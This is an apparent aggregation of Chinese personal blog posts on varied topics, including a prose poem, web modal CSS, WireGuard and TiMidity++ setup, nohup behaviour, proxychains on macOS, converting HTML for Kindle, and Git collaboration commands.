山顶是几座木屋,简陋的材质做出繁复的式样。轻车熟路地绕过屋子,一棵大树映入眼帘。

这是一颗苍老的古木。其粗壮的枝干、坚硬的树皮、盘错的根系,无不显示着它的年龄。树枝和树叶交错着,墨绿遮蔽了一片天空。

在树根坐下,背靠树干,俯瞰着山中的风景。日光从枝叶之间洒落下来,在午后的时光中洒下调味。

起风了。树叶的沙沙声,鸟鸣声,风声,歌声交织成一曲旋律。一种难以言述的空灵感弥漫开来。不知干渴不知疲倦,就这样唱着、唱着……盼望着这旋律永不终结。

B’

刺眼的光让我不禁闭上眼睛。再睁开时,眼前只剩下那灼目的光。屋不见了,山也不见了,树也不见了。

光仍然没有任何减退。我试着向前走了几步,但马上撞到了一个冰冷坚硬的东西。我用手摸了上去,似乎很平,很宽,很光滑也很冰冷……

这是一堵墙。我这样想着,于是光被打散,重组,然后果然变成了一堵墙。

我摸了摸口袋,想找到一支蜡笔。光于是在口袋聚集,然后果然就有了一支蜡笔。

蜡笔是虹色的。不,这么说并不准确。蜡笔只是发出虹色的光。随着我将蜡笔涂在墙上,墙也似乎被点亮,雪白的墙终于有了色彩。

又一扇灰色的门,逐渐被打开。

C

这是一片灰色的天空。灰色的月在灰色的云间穿行,向地面投下灰色的影子。

这次的舞台是钢铁的丛林。灰色的路像棋盘般铺散,格子间耸立着灰色的楼。看不到任何行人,看不到任何灯光。

无论走向何处,所见的景色都是那么千篇一律。似乎楼和路,就是这个世界的全部。

甚至,连空气都没有一丝波动。声音好像也不属于这个世界,简直就像旧时代的黑白默片。

手提着一盏灯,穿梭在这个迷宫。也许这个迷宫没有入口,也没有出口。

城市中,只有自己手中的灯亮着——

B’’

夜尽了。梦醒了。天亮了。

我看了看手中。之前一直握着的灯,不知何时又变回了一支蜡笔。

眼前雪白的墙上,仍然画着夜和城市。但下一刻,城市中迎来了日出,夜色也就被拂晓所吞噬。整个城市一点点被照亮,然后,变得与雪白的墙壁别无二致。

存在过的,都消失了。但创造出的,都铭刻了。

Coda

在梦与现实的狭间,我手握一支虹色的蜡笔,将一扇又一扇门描绘。每一扇门都有不同的颜色、不同的风景、不同的旋律。

这就是我的世界。

这也是没有的世界。

IceHoney Blog's avatar

网站开发中的Modal问题

最近在开发的网站基本上全是使用弹出的对话框(Modal)来进行UI交互的,所以对于Modal的处理也算积攒了一点经验。便想写下来供自己以后参考和学习。说实话,在目前响应式布局的主流开发方式下,Modal非常不适合作为一个良好的交互方式。因为对于手机触屏用户非常不友好。当然,我开发的这个网站也没有考虑手机用户。当前的主流方式还是采用SPA,JS软路由切换页面来交互才是正解。

Modal元素的位置

弹出对话框的方式基本是把对话框的z-index设置的比当前页面元素高,然后使用opacity: 0.5来半透明进行遮罩。但是,需要使用Modal的内容最好放在body的下层,而不是嵌套了好多层的某个div里面,因为子元素的z-index是不可能大于父元素的,会导致在某些情况下,其他元素比当前的Modalz-index更高。

Modal滚动条问题

很多情况下,弹出的Modal内容过多导致会产生滚动条。这时如果不处理好会导致出现双重滚动条。一条是页面本身的内容过多产生的滚动条,还有一条是Modal自身的。双重滚动条还有一个问题是当你在Modal里面进行滚动的时候,页面内容本身也会被滚动,这会导致关闭Modal的时候发现页面的位置已不是打开的位置了,用户体验非常不好。这时候有两种解决方案。

第一个方案是页面本身采用position:fixed进行固定,并用JS记住滚动位置,但必须保持页面本身和Modal是并列关系。例:

    
    

这样,Modal采用position:absolute定位,当内容过长就会自动出现滚动条。但是当关闭Modal的时候,必须把网页内容的position:fixed属性去除,并用JS滚动到当初打开Modal的位置。如果Modal是透明的,那就必须在打开Modal的时候设置网页内容的topleft属性来保持位置不变。

第二个方案是,网页内容采用overflow: hidden来隐藏滚动条。Modal采用position:fixed方案进行定位,但是这时候Modal不得不设置overflow: auto来进行滚动。 第二个方案对于网页内容和Modal的位置并没有特殊的要求,比较灵活,而且不需要JS的介入。

浏览器重绘

在一个方案中,由于网页内容被设置成了position:fixed,滚动条自然消失。所以滚动位置回到了浏览器的最上面才对。但是有时候遇到打开Modal的时候发现Modal打开之后滚动条不在最上方,这时候的原因是因为我们虽然设置了CSS进行了变更,但是浏览器没有进行重新绘制,我们可以使用会导致浏览器重绘的JS API来让浏览器更新滚动条信息,使得打开的Modal处于浏览器的最上方。

参考:

Force reflow

's avatar

为什么公共 block 列表有时是个很糟的主意

很多社区都提供 block 某人的选项,于是就有人说了:为什么不搞个公共的 block 列表呢?这样我们都可以把某人 block 掉,每个人都很开心啦!

首先我们需要搞清楚为什么要在社区里 block 一个人。也许你觉得他的发言火药味冲天,也许你跟他有着恩怨,也许你觉得他的观点让你很不开心,也许你就是看他不顺眼 …… 总之,主观因素往往占很大一部分。

但不是所有人的主观思想都跟你一样。你主观上觉得不喜欢的社区成员,也许别人觉得没啥问题。或者他可能只是互联网的萌新,并不太懂得网络社区礼仪,但经过时间的推移,渐渐的意识到自己以前的行为多愚蠢(比如我)。

不喜欢一个人或一种事物是人的基本权利,但把自己的主观想法施加给别人,别人在知道为什么 block 某人的原因后未必认同你;更重要的是,把一大堆基于不同人的主观因素的 block 列表批量导入设置,你和列表整理者的做法是对别人的严重不尊重。

你不喜欢的东西,别人未必不喜欢。

但有一个重要的例外,就是交易中的骗子。他们都损害了普通消费者的权益,为了保护共同利益,建立一个列表,让别人在交易时少撞坑还是很有必要的。

's avatar

客服真的好辛苦

我一直以为,对陌生人保持礼貌,是一个基本的礼仪。对于素未谋面,却不得不耐心帮助我的客服们,更应该是如此。在使用什么东西时遇到了困难,需要向客服寻求帮助的时候,我总会尽量以简介明要的方式,礼貌地向客服说明我的问题,然后陈述我的请求。可是最近,我才悲哀地发现,有许多的人不是这样认为的。

他们在遇到问题时,第一个想到的词语,不是“操你妈”、“干你娘”,就是“fuck you”。这完全能够理解,在遇到令人头痛的麻烦的时候,尤其是遇到像在线游戏被封号这样的事情的时候,感到愤怒是非常正常的。但是接下来,这些词语就被他们接连地扔给了对他们的麻烦没有任何责任的客服。可怜的客服们收到了这样的辱骂,也不得不咽气忍受,并回以冷静且耐心的答复。没有办法,这毕竟是他们的职责,如果客户不满意,给了差评或投诉的话,他们就得吃苦头了。客服们每天要面对许多次这样的谩骂,却无法不承受,真的是太辛苦了。

客服是用来解决问题的,所有人应该都明白,可是我还是看见许多人,在与客服交流的时候,要么支支吾吾,语句混乱,除了本人没人能看明白他想表达什么;要么骂骂咧咧,就像上面说的那样,没有一点想要和平解决问题的样子,好像客服欠它似的,而想要让客服做的事情,却没有说得很明白。甚至还有两种属性都包含的人,看起来好像气愤地语言都无法组织了。勤劳的客服们只好从他们所得到只言片语中,小心翼翼地猜测客户的意图。这是一件多么浪费脑细胞的事情啊。

之前,我的电脑上的 Skype 不能启动了,原则上来说,客服当然一般都会有办法解决啦,不过我用的是 Arch Linux ,所以即便原则上他应该帮我解决这个 Skype 启动不了的问题,我也不应该指望客服能够懂得怎么搞 Arch Linux ,是不?不过那次我比较有闲心,所以就通过在线客服问了一下。当然最后问题没解决,不过我在一点一点向他指出说,我用的是 Arch Linux ,不是 Windows ,跑不了你们的远程协助软件,也没法按照常规步骤排错的时候,他也在努力地一点一点了解情况。最后,他给我了几个显然是刚刚在 Google 搜到的 Ask Ubuntu 的链接,很遗憾,我早就在联系客服之前都查过 Google 了,所以这些链接没有帮到我。但还是辛苦了,尝试帮助我的这位客服,抱歉让你面对一个这么奇怪的客户 :joy: 。

除了传统的通过电话、邮件、工单或在线消息的客服以外,其他类似角色的人也同样辛苦。像比如一些网络游戏的支持论坛,里面满是对游戏“不公平”的抱怨,还有对“误封号”的牢骚。他们也许是真的被不公平地误封了号,可惜骂开发者娘并不是一个让自己解除封号的好方法。你说,你如果看到了令你恼火的要求,怎么还会愿意去为一个游戏作弊的嫌疑犯查核资料呢?

客服真的好辛苦,我以前不这样觉得,我一直以为,这样的人只是少数,所以客服的工作只是耐心地帮助别人就够了。可是最近,我才悲哀地发现,不愿意善待客服的人,出乎意料地多。

我一直以为,我在文章中指责的这些人,离我很远,是被所有人普遍指责的对象。可是最近,我才悲哀地发现,原来他们就在我的身边,就在我熟悉的人当中。平常好端端的人,我却看到在提交给客服的工单中,写满了触目惊心的脏话——这还是我认识的朋友吗?礼貌待人难道不是基本常识吗?你也是这样认为的,对吧?


除特殊说明外,本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。转载时请注明来自 FiveYellowMice's Blog ,以及原文链接

虽然 RSS 是一种很好的新闻获取方式,但是不同的 RSS 阅读器所显示的内容可能会有很大差距,有些甚至无法显示所有内容。所以为了能够获取到完整的内容,最好还是点开网页链接看。
之所以还是保留了 RSS 的全文输出,是因为摘要输出会被很多人讨厌……

liwanglin12's avatar

1024 天成就达成!

LWL 的自由天空

2014.12.28 - 2017.10.16

Made with by lwl12

 

's avatar

在 macOS 用 TiMidity++ 听 MIDI 音乐

为了在 macOS 上使用 TiMidity++,并用上还行的 GUI,我自己动手编译了一个。

为什么要编译呢?Homebrew 提供的二进制,什么 UI 都没编译进去!

过程

  1. 安装 XQuartz 和 Xcode 命令行工具
  2. 下载 TiMidity++ 源代码,并解压
  3. 在终端里切换到 TiMidity++ 源代码所在目录,执行命令
./configure \
--with-x \
--x-includes=/opt/X11/include \
--x-libraries=/opt/X11/lib \
--enable-xaw
make -j6
make install

编译完成后,我们编辑下 /usr/local/share/timidity/timidity.cfg,添加上你喜欢的波表文件,例如:

soundfont "/Users/tcdw/MIDI/_soundfont/GeneralUser GS v1.471.sf2"

打开 XQuartz,在上侧菜单选择 应用程序 => 自定,把我们的 TiMidity++ 加进去;命令是 timidity -ia

以后就可以从 XQuartz 的“应用程序”栏目启动有 GUI 的 TiMidity++ 啦。

升级

重复一遍此步骤即可。

(不过貌似没啥好升级的,因为这玩意更新极不频繁

's avatar

该升级你们的 SmoothScroll.js 啦!

我注意到很多网站都有用到 SmoothScroll.js,但貌似这些网站用的版本都不够新,不支持触摸板,导致用触摸板会一下子滑到最下面或最上面。对于我这么一位常常用 MacBook 触摸板的用户情何以堪啊。

新版的 SmoothScroll.js 同时提供鼠标与触摸板的支持,体验十分完美。

为了照顾那些经常使用笔记本触摸板的用户,升级下你们的 SmoothScroll.js 吧!

另外 BootCDN 也已经收录新版的 SmoothScroll.js 了。

依云's avatar

WireGuard: 简单好用的 VPN

本文来自依云's Blog,转载请注明。

家里和公司电脑连接,因为厌倦了一个个做端口映射,有些还因为安全原因得走 ssh,所以决定弄个 VPN。之前使用过 OpenVPN,然而现在懒得再去配置 OpenVPN 的证书了,所以决定尝试一下新东西。

首先,去 WireGuard 官网上转了一圈,结果还是没弄明白怎么配置。后来尝试了一下 demo,把服务端和客户端的脚本分别看了一下,才弄明白。其实在 WireGuard 里,客户端和服务端基本是平等的,差别只是谁主动连接谁而已。双方都会监听一个 UDP 端口。双方都需要一对密钥。双方都需要把对方的公钥加进来。最后一步,谁主动连接,谁就是客户端。因为家里路由器有公网 IP,我做了端口映射,所以我当然是从公司连家里方便了,用不着麻烦的打洞脚本。

首先 pacman -S wireguard-tools 安装。这也会安装上 WireGuard 的内核模块。然后使用熟悉的 ip 命令添加并配置 WireGuard 的网络接口:

# 生成密钥对
wg genkey | tee privatekey | wg pubkey > publickey

sudo ip link add dev wg0 type wireguard
sudo ip address add dev wg0 192.168.58.1/24
sudo wg set wg0 listen-port 60010 private-key privatekey
sudo ip link set wg0 up

这是我家里的配置。使用的是网段 192.168.58.0/24,因为 56 是 vbox 虚拟机用的,57 分配给 lxc 和我的网络命名空间了。指定了一下监听的端口号。我把之前给 mosh 配置了转发的端口号中最高的那个挪用了。

公司里也是同时的配置,只是不需要指定监听端口号,然后把家里那边设置成 peer,并且连过去(相同的命令我没写):

sudo wg set wg0 private-key privatekey peer 这里是公钥 endpoint 家里的IP:60010 allowed-ips 0.0.0.0/0 persistent-keepalive 180

allowed-ips 指定过来的 IP。这里没怎么限制。persistent-keepalive 是为 NAT 设置的。WireGuard 本来很安静,不需要说话的时候就不说话,但是要往 NAT 后边的主机发送信息,需要经常通信,让 NAT 记得对应的映射关系。

然后家里那边也需要添加一下公司这边的公钥:

sudo wg set wg0 peer YiyFylL+1Dr3j2Cyf0lwXQYz2qaNwm3XyV5YvMFp3Vs= allowed-ips 192.168.58.2/32

IP 限制加上也是没有问题的。这里就不用加上 endpoint 了,它连过来的时候自然就知道了。WireGuard 是支持漫游的,也就是说,双方不管谁的地址变动了,WireGuard 在看到对方从新地址说话的时候,就会记住它的新地址(跟 mosh 一样,不过是双向的)。所以双方要是一直保持在线,并且通信足够频繁的话(比如配置 persistent-keepalive),两边的 IP 都不固定也不影响的。

最后,用得不错,可以把这几条命令写到一个 systemd service 文件里,就可以不用每次敲一串命令了,也可以做到联网后自动启动。


刚刚找了一下,其实之前使用的证书什么的还在,而且还没过期。而且因为弄 nghttpx,用了一下 xca,比 easy-rsa 好用很多呢。不过 WireGuard 的双向漫游很棒啊~

Fenking's avatar

TAC闭站之后的一点话

前段时间 大约是在今年的四月份 我偶然发现TAC关闭了。
我来这个地方其实也没多长时间,只是在搜寻中国東方圈子的时候偶然发现的。
我其实在这之前的很长时间就已经发现了除了東镇以外的其他论坛
只是后来发现这个地方 不过在我去的时候就已经是几乎没有人的地方了。
则圈 算是東方一个比较大的圈子。
我对则圈的了解更多来源于Q群和贴吧,还有同人展
在展子上则圈总是占一小块地方,放几台电脑和一个大屏幕,
寥寥这样就开始打了,一打就是一天。
说实话我坚持不下来,但是他们总是乐此不疲,一局连着一局。
我所在的小地方基本见不到什么展子,但是每当去北京上海或者成都时,总能见到一批一批的则玩家。


返回说说这个论坛吧。

论坛的名字叫Touhou Act Club,东方格斗俱乐部,通称TAC
————410

相比DoujinSTG的三叶草和嘉年华(已经停运了),TAC是幸运的。它在我发现的时候还是有点击量,还是有新帖子,我注册之后的第二天,我也发现了新用户。
但是就在这样的小打小闹之中,某一天它上不去了。正值高三的我,不去在意太多事情,只是在微博上找TAC的消息,以求这个闭站只是个抽风。
但我啥也没找到,就像被遗忘了一样,没什么消息。
直到今日看到410的长文章之前,我都没有把他列入已闭站的栏目。
不过410说了,他已经闭站了。
不过我有时候也笑自己,大家关注的更多是这个游戏[東方绯想天]和[東方非想天则]
我为什么总是关注这个圈子的载体论坛呢,而且还是这个圈子的非主载体。
嘲笑一下自己,总是关注那些过去的东西。
渔场也好玄女也好haku也好盈月也好Doujin也好
我总是注视一些奇怪的东西,不过我没什么资格也没什么本事,我没经历过啥。
2017.10.9

题外话

机核真是个神奇的地方。好多神奇的事情和已经没落的圈子,我总以为再也找不到信息的时候,总能在这地方看到。
不过我还是无法习惯机核那种硬核气息,我充其量就是个对着纸片人傻笑的宅罢了。(笑

Dimpurr's avatar

使用 TiddlyWiki 打造轻便个人 Wiki 知识库

这篇文章将简要介绍 TiddlyWiki 的特点,并且分享一些常用的参考链接、资源、插件和常见问题的解决方案,以方便有相近需求的小伙伴们。

TiddlyWiki ,按官方说法是一个「非线性个人 Web 笔记本」。相比其他笔记和 Wiki 系统,其最大的特点之一是程序本体和数据全部都在一个单 html 文件内,与此同时仍然有着非常强大的功能和插件系统。在我看来,管理以文字、代码和公式为主的个人知识库, TiddlyWiki 可谓是最好的选择之一。

本文来自 钉子の次元 - Dimpurr - 千里之行,始於足下。 ,原文地址 使用 TiddlyWiki 打造轻便个人 Wiki 知识库

Cee's avatar

免路考,用中国驾照换新泽西驾照

虽然说有很多很多篇文章123总结过了如何用中国驾照在 NJ 换取驾照,但是每次看到日期都是 15、16 年的时候,心里总是没有一点底。直到自己亲身实践拿到驾照(2017.09.28)之后才长叹一口气。这篇文章把所有关键的点再来总结一下,应该是全网最最最具体的 QA 解答了吧。

去哪里换

答案只有一个,North Bergen 的 DMV。其他 DMV 都已经没法再用中国的驾照免路考换了。

地址:8901 Park Plaza, North Bergen, NJ 07047。

怎么去

如果你在 NJ,直接公交或者朋友开车送你去吧。

在 NY 的同学可以坐地铁到 42 街下车,去 Port Authority Bus Terminal 买一张 NJ Transit 的公交票,到 Bergenline Ave 或者 Fairview Ave & Grand St 下车。步行就能到 DMV 啦。

准备材料

重中之重。准备好符合 New Jersey 的 6 Points ID Verification。NJ MVC 的官网同时也有计算器来帮助大家查看证件。

自己带了如下的 ID 证明文件:

  • Passport
  • I-94
  • I-20
  • Student ID Card
  • University / College Transcript
  • Social Security Denial Letter / SSN Card
  • Bank Statement (in 90 days)
  • Debit Card

此外,需要提前准备好中国驾照以及对应的翻译公证证明。具体可以点进这个链接

关于笔试

和国内考科目一和科目四差不多,在 NJ 是从 50 道题中回答对 40 道就算通过了笔试。

准备笔试题目一定要好好通读 MVC 官方的 Manual。如果想再做做题目的话安利 https://driving-tests.org 这个网站。虽然题目不全但是能熟悉一下很多数字和题型。

换驾照流程

最繁琐的事情就是考试当日的操作。先看一下 North Bergen DMV 的平面图。

  1. 进门右转到 Reception,和工作人员说过来考理论,领表,填写完整。注意是选择初次。
  2. 到 ID Check Area,检查 6 分证明并提交表格。人多的时候会给一个小牌子,让你在休息区等人叫号,否则直接到休息区中间的队伍排队。
  3. 轮到你的时候到某个窗口,重新检查 6 分证明。交钱、拍照,领一张考试的许可证明,可以去考试区右边排队了。
  4. 叫到号之后在 Vision Test Area 进行视力检查。通过之后关掉手机进考场考试。
  5. 通过考试后工作人员会叫你过去。把翻译公证件给工作人员查看,通过后会给一张领驾照的单子。
  6. 填写完整之后重复步骤 2 和 3,拿到驾照。

整个换驾照的时间会比较的漫长,最好填饱肚子再去比较合适。不过边上就有 Burger King 还是很人性化的。

ホロ's avatar

常见的双因素验证类型

这就是咱鸽了两个月的理由 ?😂

依云's avatar

To hup or not to hup

本文来自依云's Blog,转载请注明。

故事起源于同事想在后台跑一个服务:

$ nohup node xxx.js &

一切如愿。

——是吗?

实际情况是,这时退出 bash 是如愿了,但是直接关掉终端窗口的话,那个服务会死掉。

bash 奇怪行为之五

(我好像没有写前四个耶。等有时间了简单写一下吧。)

man bash 然后搜索 SIGHUP,你会发现,其实默认设置,bash 正常退出时,根本不会杀害后台进程。它们会和从脚本里运行时一样欢快地继续跑下去。只有 bash 因为收到 SIGHUP 而退出时,它才会给后台进程发 SIGHUP。

所以,直接 Ctrl-D 或者 exit 退出的话,(处理好了重定向的话,)要不要 nohup 都一样,进程不会死。

zsh 默认退出时会给后台任务发送 SIGHUP(除非你 disown 了)。

但这还是不能解释关窗口的时候,服务为什么会死掉呀?nohup 不是已经忽略掉 SIGHUP 了么?

与众不同的 nodejs

通常情况下,nohup 工作得很好。但是,UNIX 世界里来了位不了解、也不愿意遵循 UNIX 传统惯例的年轻气盛的小伙子。

我还记得 npm 直接往 /usr 下安装东西。

我还记得 npm 把 http_proxy 当 https_proxy 而我的缓存代理不支持 HTTPS,造成无法安装任何东西。

现在,nodejs 将所有信号的处理重置为默认行为,除了它自己想处理的那几个。

「nohup?那是什么鬼?我搞不懂!」nodejs 说,然后它被 SIGHUP 杀死了。

结语

The devil is in the detail!

Jixun Moe's avatar

弹丸论破 v3


▲ 弹丸论破 v3 × 进击的巨人

's avatar

故事:试图不关闭 SIP 在 macOS Sierra 上使用 proxychains-ng

因为一些原因,我需要通过 proxychains 代理我的 ssh 来连接远程主机。我按部就班地用 homebrew 装好了 proxychains-ng,运行系统上已有的 ssh 客户端(/usr/bin/ssh),期望着就像 Debian Linux 上那样可以轻松代理,然而并!不!能!

你会被卡在这里:

我们启用一个国外代理,运行系统上已有的 curl(/usr/bin/curl),你猜怎么着?

tcdw@tcdw-mac.local ~ $ proxychains4 curl ip.cn
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.12_1/lib/libproxychains4.dylib
当前 IP:blah blah 来自:内蒙古自治区呼和浩特市 电信

看来,proxychains 此时并不能让那些程序走代理。

试图解决

Google 了一下,发现很多博文建议关闭 SIP:

macOS 10.11 后下由于开启了 SIP(System Integrity Protection) 会导致命令行下 proxychains-ng 代理的模式失效,如果你要使用 proxychains-ng 这种简单的方法,就需要先关闭 SIP。

具体的关闭方法如下:blah blah

我不想关闭 SIP,怎么办呢?办法还是有的。

根据苹果的 官方说明,以下路径受到保护:

/System
/usr (不包含 /usr/local)
/bin
/sbin
Apps that are pre-installed with OS X

……

这样就知道如何解决了:把那些二进制复制到不受保护的路径,就可以了!

我在我的 .profile 文件中定义过这个:

export PATH=/Users/tcdw/usr/bin:$PATH

于是我把 ssh 和 curl 复制到我的 bin 路径:

cp $(which ssh) ~/usr/bin/ssh
cp $(which curl) ~/usr/bin/curl

再试试,果然可以代理了!

tcdw@tcdw-mac.local ~ $ proxychains4 curl ip.cn
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.12_1/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.12
[proxychains] Dynamic chain  ...  127.0.0.1:1080  ...  ip.cn:80  ...  OK
当前 IP:blah blah 来自:日本

总结

  • 把二进制放到 SIG 的保护范围以外即可正常使用 proxychains-ng,而无需关闭 SIG
  • 通过 homebrew 安装的二进制基本在 /usr/local 目录下,因此无需担心此问题。所以,你可以直接通过 homebrew 单独安装 OpenSSH
  • 你也可以考虑下 Proxifier,只要设置好规则即可无痛让各种应用(包括位于被保护路径的命令行工具)使用代理。这是一款商业软件,有 30 天的试用期
依云's avatar

书签搜索:藏在书签里的搜索引擎

本文来自依云's Blog,转载请注明。

最近开始用 Firefox nightly 了。纯 WebExtensions 时代就要来临了,然而 WebExtensions 还不能访问浏览器搜索引擎,所以我没办法选中文本,然后选个正确的搜索引擎了……

我之前使用的是 FireGuestures。选中文本,一个手势弹出我所有的搜索引擎,然后选一个使用。挺好挺方便。然而看现在使用 WebExtensions 的搜索扩展,因为无法访问浏览器搜索引擎,所以都是内置了几个搜索引擎,最多让用户手动添加自己想要使用的。多麻烦啊,而且还要维护额外的数据。

而火狐从一开始就可以「为此搜索引擎添加关键词」(如下图)。虽然也叫「搜索引擎」,但是并不是搜索栏用的那个,而是带关键字的书签。对于 GET 请求的搜索,是在 URL 里把搜索词写作「%s」。对于 POST 请求,「PostData」是用户看不到、扩展也访问不到的,也不能被同步。不过大部分搜索都是 GET 嘛。功能上是弱了一些,比如不能在只有关键词、没有搜索词的时候打开主页。但是书签可以同步呀!

于是,利用书签来存储、同步搜索引擎的扩展——书签搜索——诞生了!效果图如下:

(这个其实是之前《改了一下 GTK 3 的默认主题》的配图 :-)

感兴趣就前往安装书签搜索吧~喜欢请给小星星(AMO 和 GitHub 都可以给星星的哦)~遇到问题请点击右侧「用户支持网站」报告~


这是我的第一个 WebExtensions 扩展,也是第一个正式发布的火狐扩展(其实也支持 Google Chrome 和 Opera;Microsoft Edge 没有尝试,大概也支持吧)。WebExtensions 写起来比 XUL 舒服很多,最主要是文档全面了!不用像写 XUL 那样,拿浏览器工具箱找要修改的 DOM,然后满世界找自己需要的 API。WebExtensions 提供的 API 就那么点,在 MDN 上都有写。另外就是 JavaScript 这些年来进步很大,越来越像 Python 了!可惜 Google Chrome 和 Opera 它们的扩展还不使用 Promise、不能用 await,不然写起来更舒服了。

violet's avatar

搞起一个测试 Golang HTTP server 的性能测试

现在在工作中开始搞 Go 了,重构了一个工具,查了一波如何做性能测试,就当记个笔记。

Ricter's avatar

Abuse Cache of WinNTFileSystem : Yet Another Bypass of Tomcat CVE-2017-12615

null
's avatar

我的一次 HPKP 坑自己经历

HTTP Public Key Pinning (HPKP) 是一项通过 HTTP 头定义网站所使用的 SSL 证书的 Hash 值,在一段时间内防止被第三方进行中间人攻击的方案。通过声明 HPKP ,浏览器会在有效期内保存网站所提供的 HPKP ,并且检验当前的 SSL 证书是否在 HPKP 允许的范围内,如果不在,则会直接不允许访问,并且还没有手动忽略的选择。
依云's avatar

使用 Prince 转换 HTML 文档给 Kindle 阅读

本文来自依云's Blog,转载请注明。

ZeroMQ 的指南文档很长很长。我想放在 Kindle 里,上下班的时候看,长知识又不伤眼。

首先尝试 Push to Kindle。就是本博客每篇文章下边都有的那个链接里的东西。试了好几次终于成功了。然而,章节标题看不出来跑哪儿去了也就算了,代码去哪儿了?注意格式啊!

于是换浏览器,HTML 转 PDF。顺手按 F12,把每个标题右边的导航链接删掉了。然后打印~代码格式没有坏哦~然而,还是有很多代码没显示出来,倒是显示了一堆其它语言代码的链接……继续 F12 改样式表修了。这些都是小问题,最大的问题是,在我不断地调整页面大小的时候,我的火狐每次「准备……」的过程都特别漫长,那个负责转换的子进程吃很多很多 CPU,还卡死了所有它负责的标签页……终于,在等待近半小时它还没准备好的时候,我失去了耐心,杀掉了那个火狐子进程,换 Prince 了。这次我体会到多进程架构的好处了:页面卡了,换个标签页打开,分配到另外的子进程的时候就可以正常使用了。

Prince 是个非常不错的 HTML 转 PDF 软件。免费版本会有个它自己的图标放第一页右上角,没啥问题,打印的时候也不会出现。要是你非要去掉它的话,也可以找个 PDF 编辑工具删掉它。

然后是确定页面大小。因为代码的行都比较长,我决定横屏阅读,也就是「landscape」模式。然后拿尺子量了一下,差不多是 9cm×12cm。维基百科告诉我 Kindle Paperwhite 是6英寸的屏幕,但是我没有弄明白它的长和宽到底是多少,所以还是动手测量了。因为 Kindle 上字显示小一些也挺清晰的,所以我把短边乘以了二(好像并不合理啊,因为已经是 landscape 了,应该两边同步放大才对;不过其实我一开始想的是一页占两屏……)。

然后再加上针对 ZeroMQ 文档的修改,得样式表如下:

td + td {
  display: none;
}

.collapsible-block-folded {
  display: none;
}

.collapsible-block-unfolded {
  display: block !important;
}

.collapsible-block + br + span {
  display: none;
}

body {
  font-family: serif !important;
}

@page {
  size: 18cm 12cm landscape;
  margin: 0;
}

然后让我们的王子干活啦:

prince -s zguide.css zguide.html -o zguide.pdf

因为需要反复尝试,所以我已经把 ZeroMQ 那个巨大的 HTML 下载到本地了。

最终成果在这里。因为页边距为零,所以在一般的阅读器里看起来挺难看的,但是在 Kindle 里就挺适合了~

mmiaow's avatar

Day 10576 Powerpoint 2007+修改页面尺寸而不拉伸元素

在PowerPoint中,对已经做好的幻灯片通过『页面设置』修改页面尺寸(如从全屏4:3修改为全屏16:9),则PowerPoint会自动拉伸页面元素,本意是让原有的元素能自适应新的页面尺寸,但常常适得其反,因为页面尺寸的变化导致本来就需要对元素位置进行重排,现在反而还需要挨个将元素尺寸复位,这对于页数较多的PPT来说简直是灾难性的。

根据本页面的内容,可通过如下方式无损调整PPT文档的页面尺寸(限pptx格式,即PowerPoint 2007以后版本生成的文档):

  1. 备份原始文件。
  2. 将pptx文件用任意支持ZIP格式的压缩软件(如WinRAR、7-zip等)解压缩至单独的文件夹。
  3. 使用文本编辑器(建议为Notepad++等功能比较完善的编辑器,而不是系统自带的记事本,以免出错)打开解压缩后的文件中的 ppt\presentation.xml,查找『p:sldSz』,将其后的cx和cy参数修改为要使用的页面尺寸,常用的全屏尺寸对应数值如下:
    【全屏4:3】cx=”9144000″ cy=”6858000″
    【全屏16:9】cx=”9144000″ cy=”5143500″
    【全屏16:10】cx=”9144000″ cy=”5715000″
  4. 将所有文件重新打包为ZIP格式(注意不要选择其它格式,Powerpoint无法识别)『存储』(存档)压缩率(各压缩软件描述不同,WinRAR为『存储』,7-zip为『仅存储』),然后将后缀重新修改为pptx即可。

按照此方法修改后的pptx文档有一个小问题,即页面的十字中心参考线仍为修改前的位置(通常是水平参考线的位置偏移),猜测可能在XML中有其它参数进行控制,但不影响文档的正常编辑和使用。

以上步骤在 PowerPoint 2010 中测试通过。

HY's avatar

Yomawari : Midnight Shadows

前两天终于把今年的日本一虐萝莉小品游戏「深夜迴」主线通关了。这边写点简单的感想和评价吧(无剧透)。 这次的作品 […]
IceHoney Blog's avatar

Github团队协作

社畜也快半年了,说实话工作确实没有学生生活有趣。每天基本都是坐在电脑前写代码,可能我是那种更喜欢新鲜生活的人吧。对于重复的生活很容易就厌倦了,但生活由不得自己,上班的理由很简单,仅仅是因为穷。学生时代写代码基本都是一个人单干,但进入公司就开始正式的团队协作,也算是学到很多团队合作的知识了吧。特别是利用Github进行高效的合作开发。

Github协作开发

首先是切换到需要开发的分支,这里我们假设要在dev分支上进行开发。

git checkout dev

然后,在dev分支上建立属于自己的分支。命名可以以功能命名也可以用解决的issue命名。例如:dev-add-page dev-issue20,之后再切换到自己建立的分支。

    git branch dev-issue20
    git checkout dev-issue20

这样,就可以在自己分支上开发了,开发之后push到服务器上,在请求pull request进行合并操作,在pull request的时候,可以让同事来进行代码review保证开发质量。

协作要用到的Github命令很简单,之后再说说经常用的其他命令。例如,当我们写了半天发现自己在错误的分支上进行了开发,该怎么处理呢?我们可以使用git stash命令来把临时修改隐藏起来。

    git stash
    git checkout dev-issue20
    git stash pop

如果我们不小心在dev分支上直接进行了开发,可以使用上面的命令迅速把自己的修改切换到自己的分支上。

还有一种情况是,我们在自己的分支上进行开发的过程中,dev分支上合并了其他同时的代码,我们需要和dev分支保持一致。这时可以使用git pull origin dev分支来同步其他同事的代码,避免自己的代码和主分支产生冲突。

自己的分支在上传到服务器并合并之后通常服务器会删掉这个分支,但本地还是会保留。我们需要定期删掉自己本地已经合并的分支,这里推荐使用下面的命令。

git branch --merged | egrep -v "(^\*|master|dev)" | xargs git branch -d

正则表达式里面是不需要删除的分支。

有时候发现某个分支做的功能被砍掉了,然后需要删掉这个分支。可以使用下面的命令:

    git push -d origin 
    git branch -d 

分别删掉远程服务器和本地的分支。

有时候发现自己写的思路是错的,需要舍弃现在所有的修改,可以使用reset命令来重置。

    git reset --hard

当然这个操作比较危险,你应该慎用。

当你需要移除所有新加的文件,但这些文件还没加入库当中。你可以使用clean命令来清除所有新加文件。

    git clean -f

目前经常使用的就是这么多,如果大家有更好的学习Git命令的推荐资料,欢迎留言。谢谢!

参考:

Stack Overflow

高质量的Git中文教程

